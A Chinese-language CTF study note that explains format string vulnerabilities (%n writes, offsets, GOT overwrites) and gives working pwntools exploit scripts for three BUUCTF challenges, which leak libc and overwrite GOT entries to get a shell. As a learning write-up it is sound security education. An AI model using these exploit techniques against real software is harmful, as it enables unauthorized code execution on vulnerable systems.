C语言变参函数

1
man 3 printf //查看C语言格式化字符串

image-20231218210257030

image-20231218211413717

格式化字符串

$第n个参数

%s变量所对应地址的内容

%p获取对应栈的内存

%n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

hn(half int)

hhn(half half int)

1.找到偏移值

通过fmtarg 来判断某个参数的偏移。

2.任意地址写入

3.

->RELRO->got表项->一般改printf函数

one_gadget

malloc_hook:printf参数超过 %43$p —>调用 malloc

iofile

jarvisoj_fm1

关闭PIE,我们可以直接将x的地址写入后用%n修改所指的变量。buf为栈上第11个参数

image-20240123180037639

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
from pwn import *
#p=remote('node5.buuoj.cn',25242)
context(log_level='debug',arch='i386',os='linux')
p=process('./fm')
x_addr=0x0804a02c
payload=p32(x_addr)+b'%11$n'
gdb.attach(p,'b *0x80485AD')
#pause()
p.sendline(payload)
pause()
p.interactive()


image-20240123180524605

axb_2019_fmt32

image-20240123184845746

翻译。他是一个复读机(-_-),32位程序,未开启PIE保护和canary保护。显然,放在此专题里,这是一个格式化字符串漏洞

sprintf

image-20240123191903781

注意到有memset函数,将栈上空间们置0,因此可以使用one_gadget

image-20240123225846468

image-20240123235720376

FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)

image-20240123231458996

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /usr/bin/env python3
from pwn import*
context(log_level='debug',arch='i386',os='linux')
#p=process('./axb_2019_fmt32')
p=remote('node5.buuoj.cn',29375)
libc=ELF('/home/randolfluo/Desktop/libc/ubuntu16/libc-2.23_x86.so')

elf=ELF('axb_2019_fmt32')
got_addr=elf.got['read']
payload=b'a'+p32(got_addr)+b'114514'+b'%8$s' #a对齐got_addr。
#gdb.attach(p,'b *0x80486FB')
#pause()
p.sendafter('Please tell me:',payload)
p.recvuntil(b'114514') #定位read_real_addr
read_real_addr=u32(p.recv(4))
print("read:"+hex(read_real_addr))
libc_base=read_real_addr-libc.symbols['read']
one_gadget=libc_base+0x3a819
payload1= b'a'+fmtstr_payload(8,{got_addr:one_gadget},write_size = "byte",numbwritten = 0xa)
p.sendafter('me:',payload1)
p.sendline("cat flag")
p.interactive()

[第五空间2019 决赛]PWN5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

首先随机生成4位passwd,然后输入用户名密码,如果密码正确,则调用system函数。我们可以从题目中的printf(buf);中看到格式化字符串漏洞。我们可以确定两点。

  • 有格式化字符串漏洞

  • 有system函数地址

0x1:修改dword_804C044的值

1
2
3
4
5
6
7
8
9
from pwn import *
p = process("./space5")
bss_addr = 0x0804C044

payload = fmtstr_payload(10,{bss_addr:0x1234})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1234))
p.interactive()

0x2:修改函数地址为system地址

由于该程序是动态链接的,但是没有开启PIE保护,且atoi函数的参数是我们可以控制的。我们知道plt是地址的填写者,got是地址的保存者。因此可以通过修改atoigot地址跳转到plt表项来执行system函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python3
from pwn import *

context(log_level='debug',arch='i386',os='linux')
p = process("./space5")
p = remote("node5.buuoj.cn",29157)
elf = ELF('./space5')

atoi_addr = elf.got['atoi']
system_plt_addr = elf.plt['system']

payload = fmtstr_payload(10,{atoi_addr:system_plt_addr})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",'/bin/sh\x00')
p.interactive()